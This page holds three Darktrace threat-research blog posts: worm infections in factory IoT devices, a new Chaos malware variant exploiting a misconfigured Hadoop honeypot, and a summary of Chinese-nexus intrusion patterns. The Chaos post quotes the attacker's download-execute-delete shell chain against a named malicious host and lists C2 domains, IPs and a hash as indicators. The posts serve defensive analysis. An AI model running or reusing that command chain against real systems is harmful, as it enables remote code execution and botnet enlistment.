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February 11, 2021

Detecting IoT Threats in Control Systems

Discover how Darktrace uncovers pre-existing threats in Industrial IoT systems. Learn about advanced detection techniques in industrial control systems.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
David Masson
VP, Field CISO
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11
Feb 2021

Industrial IoT (IIoT) devices are a pressing concern for security teams. Companies invest large sums of money to keep cyber-criminals out of industrial systems, but what happens when the hacker is already inside? Gateways and legacy security tools generally sit at the border of an organization and are designed to stop external threats, but are less effective once the threat is already inside. During this period, cyber-criminals carry out further reconnaissance, tamper with PLC settings, and subtly disrupt the production process.

Darktrace recently detected a series of pre-existing infections in Industrial IoT (IIoT) devices at a manufacturing firm in the EMEA region. The organization already had Darktrace in place in one area of the environment, but after seeing how the AI could successfully detect zero-day vulnerabilities and threats, they expanded the deployment, allowing Darktrace to actively monitor and defend interactions among its 5,000 devices, and dramatically improving visibility.

An unknown emerging threat was identified by Darktrace / OT omultiple machines within hours of Darktrace being active in the environment. By casting light on this previously unknown threat, Darktrace enabled the customer to perform full incident response and threat investigation, before the attacker was able to cause any serious damage to the company.

Though it is unclear how long the devices had been infected, it is likely to have been first introduced manually via an infected USB. The affected endpoints were being used as part of a continuous production process and could not be installed with endpoint protection.

Darktrace / OT; however, easily detects infections across the digital estate, regardless of the type of environment or technology. Darktrace AI does not rely on signature-based methods but instead continuously updates its understanding of what constitutes ‘normal’ in an industrial environment. This self-learning approach allows the AI to contain zero-days that have never been seen before in the wild, as well as detecting the new appearance of pre-existing attacks.

Industrial IoT attacked

Only a few hours after Darktrace AI had begun defending the wider connections and interactions across the manufacturing firm, Darktrace detected a highly unusual network scan. A timeline of events, from first scan to full incident response results and conclusions, is shown below:

Figure 1: Timeline of incident response across 28 hours

Darktrace’s AI recognized that the device was exploiting an SMBv1 protocol in order to attempt lateral movement. In addition to anonymous SMBv1 authentication, Darktrace detected the device abusing default vendor credentials for device enumeration.

The device made a large number of unusual connections, including connections to internal endpoints which the company had previously been unaware of. As these occurred, the Threat Visualizer, Darktrace’s user interface, provided a graphical visualization of the incident, illuminating the unusual activity’s spread from the infected device across the infrastructure in question.

Figure 2: The Darktrace Threat Visualizer

Darktrace identified that the infected Industrial IoT device was making an unusually large number of internal connections, suggesting an effort to perform reconnaissance.

Darktrace’s Cyber AI Analyst launched an immediate investigation into the alert, surfacing an incident summary at machine speed with all the information the security team needed to act.

Figure 3: An example of an AI Analyst Report on a network scan

The Cyber AI Analyst further identified two other devices behaving in a similar way, and these were removed from the network by the customer in response. When investigated by the security team, these devices were shown to be infected with the Yalove and Renocide worms, and the Autoit trojan-dropper. Open source intelligence suggests these infections are often spread via removable media such as USB drives.

Using Darktrace’s Advanced Search function, the customer was able to investigate related model breaches to build a list of similar indicators of compromise (IoCs), including failed external connections to www.whatismyip[.]com and DYNDNS IP addresses on HTTP port 80.

Recurring infections: How to deal with a persistent attack

In total, Darktrace was used to identify 13 infected production devices. The customer contacted the equipment owner, whose response confirmed that they had seen similar attacks on other networks in the past, including recurring infections.

Recurring infections imply one of two things: either, that the malware has a persistence mechanism, where it uses a range of techniques to remain undetected on the exploited machine and achieve persistent access to the system. Alternatively, a recurring infection could mean that the IoT manufacturer was not able to find all infected devices when they were first alerted to the compromise, and thus did not shut down the attack in its entirety.

As the infected machines are owned by a third party, they could not be immediately remediated. Darktrace AI, however, contained this threat with minimal business disruption. The customer was able to leave the infected devices active, which were still needed for production, confident that Darktrace would alert them if the infection spread or changed in behavior.

Industrial IoT: Shining a light on pre-existing threats

The mass adoption of Industrial IoT devices has made industrial environments more complex and more vulnerable than ever. This blog demonstrates the prevalent threat that attackers are already on the inside, and the importance for security teams to expand visibility over their full industrial system. In this case, the customer was able to use Darktrace’s AI to illuminate a previous blind spot and contain a persistent attack, while minimizing disruption to operations. Crucially, this ‘unknown known’ threat was detected without any prior knowledge of the devices, their supplier, or patch history, and without using malware signatures or IoCs.

The customer was made aware of the infection via the Darktrace SOC service. Yet the same outcome could have been obtained with other workflows provided by Darktrace, such as email alerting, notifications through the Darktrace mobile app, seamlessly integrating Darktrace with a SIEM solution, or alerting via an internal SOC.

Cyber AI Analyst enabled the customer to perform immediate incident response. While waiting for a reinstallation date with the equipment owner, the customer could keep the production devices online, knowing Darktrace would be monitoring the outstanding risk. In an industrial setting, trade-offs like this are often necessary to sustain production. Darktrace helps organizations maintain the vigilance they need to do this securely, and when remediation does become possible, Darktrace can be used to reliably locate the full extent of the infection.

Thanks to Darktrace analyst Oakley Cox for his insights on the above threat find.

Darktrace model detections:

  • Device / Suspicious Network Scan Activity [Enhanced Monitoring]
  • Device / ICMP Address Scan
  • ICS / Anomalous IT to ICS Connection
  • Anomalous Connection / SMB Enumeration
  • Device / Network Scan

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
David Masson
VP, Field CISO

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April 7, 2026

Darktrace Identifies New Chaos Malware Variant Exploiting Misconfigurations in the Cloud

Chaos Malware Variant Exploiting Misconfigurations in the CloudDefault blog imageDefault blog image

Introduction

To observe adversary behavior in real time, Darktrace operates a global honeypot network known as “CloudyPots”, designed to capture malicious activity across a wide range of services, protocols, and cloud platforms. These honeypots provide valuable insights into the techniques, tools, and malware actively targeting internet‑facing infrastructure.

One example of software targeted within Darktrace’s honeypots is Hadoop, an open-source framework developed by Apache that enables the distributed processing of large data sets across clusters of computers. In Darktrace’s honeypot environment, the Hadoop instance is intentionally misconfigured to allow attackers to achieve remote code execution on the service. In one example from March 2026, this enabled Darktrace to identify and further investigate activity linked to Chaos malware.

What is Chaos Malware?

First discovered by Lumen’s Black Lotus Labs, Chaos is a Go-based malware [1]. It is speculated to be of Chinese origin, based on Chinese language characters found within strings in the sample and the presence of zh-CN locale indicators. Based on code overlap, Chaos is likely an evolution of the Kaiji botnet.

Chaos has historically targeted routers and primarily spreads through SSH brute-forcing and known Common Vulnerabilities and Exposures (CVEs) in router software. It then utilizes infected devices as part of a Distributed Denial-of-Service (DDoS) botnet, as well as cryptomining.

Darktrace’s view of a Chaos Malware Compromise

The attack began when a threat actor sent a request to an endpoint on the Hadoop deployment to create a new application.

The initial infection being delivered to the unsecured endpoint.
Figure 1: The initial infection being delivered to the unsecured endpoint.

This defines a new application with an initial command to run inside the container, specified in the command field of the am-container-spec section. This, in turn, initiates several shell commands:

  • curl -L -O http://pan.tenire[.]com/down.php/7c49006c2e417f20c732409ead2d6cc0. - downloads a file from the attacker’s server, in this case a Chaos agent malware executable.
  • chmod 777 7c49006c2e417f20c732409ead2d6cc0. - sets permissions to allow all users to read, write, and execute the malware.
  • ./7c49006c2e417f20c732409ead2d6cc0. - executes the malware
  • rm -rf 7c49006c2e417f20c732409ead2d6cc0. - deletes the malware file from the disk to reduce traces of activity.

In practice, once this application is created an attacker-defined binary is downloaded from their server, executed on the system, and then removed to prevent forensic recovery. The domain pan.tenire[.]com has been previously observed in another campaign, dubbed “Operation Silk Lure”, which delivered the ValleyRAT Remote Access Trojan (RAT) via malicious job application resumes. Like Chaos, this campaign featured extensive Chinese characters throughout its stages, including within the fake resume themselves. The domain resolves to 107[.]189.10.219, a virtual private server (VPS) hosted in BuyVM’s Luxembourg location, a provider known for offering low-cost VPS services.

Analysis of the updated Chaos malware sample

Chaos has historically targeted routers and other edge devices, making compromises of Linux server environments a relatively new development. The sample observed by Darktrace in this compromise is a 64-bit ELF binary, while the majority of router hardware typically runs on ARM, MIPS, or PowerPC architecture and often 32-bit.

The malware sample used in the attack has undergone notable restructuring compared to earlier versions. The default namespace has been changed from “main_chaos” to just “main”, and several functions have been reworked. Despite these changes, the sample retains its core features, including persistence mechanisms established via systemd and a malicious keep-alive script stored at /boot/system.pub.

The creation of the systemd persistence service.
Figure 2: The creation of the systemd persistence service.

Likewise, the functions to perform DDoS attacks are still present, with methods that target the following protocols:

  • HTTP
  • TLS
  • TCP
  • UDP
  • WebSocket

However, several features such as the SSH spreader and vulnerability exploitation functions appear to have been removed. In addition, several functions that were previously believed to be inherited from Kaiji have also been changed, suggesting that the threat actors have either rewritten the malware or refactored it extensively.

A new function of the malware is a SOCKS proxy. When the malware receives a StartProxy command from the command-and-control (C2) server, it will begin listening on an attacker-controlled TCP port and operates as a SOCKS5 proxy. This enables the attacker to route their traffic via the compromised server and use it as a proxy. This capability offers several advantages: it enables the threat actor to launch attacks from the victim’s internet connection, making the activity appear to originate from the victim instead of the attacker, and it allows the attacker to pivot into internal networks only accessible from the compromised server.

The command processor for StartProxy. Due to endianness, the string is reversed.
Figure 3: The command processor for StartProxy. Due to endianness, the string is reversed.

In previous cases, other DDoS botnets, such as Aisuru, have been observed pivoting to offer proxying services to other cybercriminals. The creators of Chaos may have taken note of this trend and added similar functionality to expand their monetization options and enhance the capabilities of their own botnet, helping ensure they do not fall behind competing operators.

The sample contains an embedded domain, gmserver.osfc[.]org[.]cn, which it uses to resolve the IP of its C2 server.  At time or writing, the domain resolves to 70[.]39.181.70, an IP owned by NetLabel Global which is geolocated at Hong Kong.

Historically, the domain has also resolved to 154[.]26.209.250, owned by Kurun Cloud, a low-cost VPS provider that offers dedicated server rentals. The malware uses port 65111 for sending and receiving commands, although neither IP appears to be actively accepting connections on this port at the time of writing.

Key takeaways

While Chaos is not a new malware, its continued evolution highlights the dedication of cybercriminals to expand their botnets and enhance the capabilities at their disposal. Previously reported versions of Chaos malware already featured the ability to exploit a wide range of router CVEs, and its recent shift towards targeting Linux cloud-server vulnerabilities will further broaden its reach.

It is therefore important that security teams patch CVEs and ensure strong security configuration for applications deployed in the cloud, particularly as the cloud market continues to grow rapidly while available security tooling struggles to keep pace.

The recent shift in botnets such as Aisuru and Chaos to include proxy services as core features demonstrates that denial-of-service is no longer the only risk these botnets pose to organizations and their security teams. Proxies enable attackers to bypass rate limits and mask their tracks, enabling more complex forms of cybercrime while making it significantly harder for defenders to detect and block malicious campaigns.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

Indicators of Compromise (IoCs)

ae457fc5e07195509f074fe45a6521e7fd9e4cd3cd43e42d10b0222b34f2de7a - Chaos Malware hash

182[.]90.229.95 - Attacker IP

pan.tenire[.]com (107[.]189.10.219) - Server hosting malicious binaries

gmserver.osfc[.]org[.]cn (70[.]39.181.70, 154[.]26.209.250) - Attacker C2 Server

References

[1] - https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/

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About the author
Nathaniel Bill
Malware Research Engineer

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April 2, 2026

How Chinese-Nexus Cyber Operations Have Evolved – And What It Means For Cyber Risk and Resilience 

Chinese-Nexus Cyber OperationsDefault blog imageDefault blog image

Cybersecurity has traditionally organized risk around incidents, breaches, campaigns, and threat groups. Those elements still matter—but if we fixate on individual incidents, we risk missing the shaping of the entire ecosystem. Nation‑state–aligned operators are increasingly using cyber operations to establish long-term strategic leverage, not just to execute isolated attacks or short‑term objectives.  

Our latest research, Crimson Echo, shifts the lens accordingly. Instead of dissecting campaigns, malware families, or actor labels as discrete events, the threat research team analyzed Chinese‑nexus activity as a continuum of behaviors over time. That broader view reveals how these operators position themselves within environments: quietly, patiently, and persistently—often preparing the ground long before any recognizable “incident” occurs.  

How Chinese-nexus cyber threats have changed over time

Chinese-nexus cyber activity has evolved in four phases over the past two decades. This ranges from early, high-volume operations in the 1990s and early 2000s to more structured, strategically-aligned activity in the 2010s, and now toward highly adaptive, identity-centric intrusions.  

Today’s phase is defined by scale, operational restraint, and persistence. Attackers are establishing access, evaluating its strategic value, and maintaining it over time. This reflects a broader shift: cyber operations are increasingly integrated into long-term economic and geopolitical strategies. Access to digital environments, specifically those tied to critical national infrastructure, supply chains, and advanced technology, has become a form of strategic leverage for the long-term.  

How Darktrace analysts took a behavioral approach to a complex problem

One of the challenges in analyzing nation-state cyber activity is attribution. Traditional approaches often rely on tracking specific threat groups, malware families, or infrastructure. But these change constantly, and in the case of Chinese-nexus operations, they often overlap.

Crimson Echo is the result of a retrospective analysis of three years of anomalous activity observed across the Darktrace fleet between July 2022 and September 2025. Using behavioral detection, threat hunting, open-source intelligence, and a structured attribution framework (the Darktrace Cybersecurity Attribution Framework), the team identified dozens of medium- to high-confidence cases and analyzed them for recurring operational patterns.  

This long-horizon, behavior-centric approach allows Darktrace to identify consistent patterns in how intrusions unfold, reinforcing that behavioral patterns that matter.  

What the data shows

Several clear trends emerged from the analysis:

  • Targeting is concentrated in strategically important sectors. Across the dataset, 88% of intrusions occurred in organizations classified as critical infrastructure, including transportation, critical manufacturing, telecommunications, government, healthcare, and Information Technology (IT) services.  
  • Strategically important Western economies are a primary focus. The US alone accounted for 22.5% of observed cases, and when combined with major European economies including Germany, Italy, Spain and the UK, over half of all intrusions (55%) were concentrated in these regions.  
  • Nearly 63% of intrusions of intrusions began with the exploitation of internet-facing systems, reinforcing the continued risk posed by externally exposed infrastructure.  

Two models of cyber operations

Across the dataset, Chinese-nexus activity followed two operational models.  

The first is best described as “smash and grab.” These are short-horizon intrusions optimized for speed. Attackers move quickly – often exfiltrating data within 48 hours – and prioritize scale over stealth. The median duration of these compromises is around 10 days. It’s clear they are willing to risk detection for short-term gain.  

The second is “low and slow.” These operations were less prevalent in the dataset, but potentially more consequential. Here, attackers prioritize persistence, establishing durable access through identity systems and legitimate administrative tools, so they can maintain access undetected for months or even years. In one notable case, the actor had fully compromised the environment and established persistence, only to resurface in the environment more than 600 days after. The operational pause underscores both the depth of the intrusion and the actor’s long‑term strategic intent. This suggests that cyber access is a strategic asset to preserve and leverage over time, and we observed these attacks most often inin sectors of the high strategic importance.  

It’s important to note that the same operational ecosystem can employ both models concurrently, selecting the appropriate model based on target value, urgency, intended access. The observation of a “smash and grab” model should not be solely interpreted as a failure of tradecraft, but instead an operational choice likely aligned with objectives. Where “low and slow” operations are optimized for patience, smash and grab is optimized for speed; both seemingly are deliberate operational choices, not necessarily indicators of capability.  

Rethinking cyber risk

For many organizations, cyber risk is still framed as a series of discrete events. Something happens, it is detected and contained, and the organization moves on. But persistent access, particularly in deeply interconnected environments that span cloud, identity-based SaaS and agentic systems, and complex supply chain networks, creates a major ongoing exposure risk. Even in the absence of disruption or data theft, that access can provide insight into operations, dependencies, and strategic decision-making. Cyber risk increasingly resembles long-term competitive intelligence.  

This has impact beyond the Security Operations Center. Organizations need to shift how they think about governance, visibility, and resilience, and treat cyber exposure as a structural business risk instead of an incident response challenge.  

What comes next

The goal of this research is to provide a clearer understanding of how these operations work, so defenders can recognize them earlier and respond more effectively. That includes shifting from tracking indicators to understanding behaviors, treating identity providers as critical infrastructure risks, expanding supplier oversight, investing in rapid containment capabilities, and more.  

Learn more about the findings of Darktrace’s latest research, Crimson Echo: Understanding Chinese-nexus Cyber Operations Through Behavioral Analysis, by downloading the full report and summaries for business leaders, CISOs, and SOC analysts here.  

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About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
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